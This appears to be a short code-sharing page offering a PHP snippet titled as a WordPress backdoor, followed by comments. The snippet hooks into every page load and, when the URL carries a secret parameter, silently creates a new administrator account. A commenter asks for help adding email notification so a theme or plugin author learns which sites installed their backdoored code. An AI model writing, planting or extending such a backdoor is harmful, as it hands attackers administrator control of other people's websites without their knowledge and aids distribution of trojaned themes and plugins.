Wordpress Backdoor add User #wordpress #php

wp-backdoor.php

add_action('wp_head', 'wpBackdoor');

function wpBackdoor() {
    if ($_GET['backdoor'] == 'go') {
        require('wp-includes/registration.php');
        if (!username_exists('USERNAME')) {
            $userID = wp_create_user('USERNAME', 'PASSWORD');
            $user = new WP_User($userID);
            $user->set_role('administrator');
        }
    }
}

Hello, How can I add an email notification code in my theme or plugin... If I have a theme or plugin for everyone. I want to add some code to make a backdoor with email notification. If anybody installs my theme on her website I will get an email notification with her website name/URL. If you have those code kindly help me... I need to learn it also, Thank you

This snippet above creates an user with pw if you call the URL with the parameter go on a given domain where the backdoor is implemented.
This is not what you want!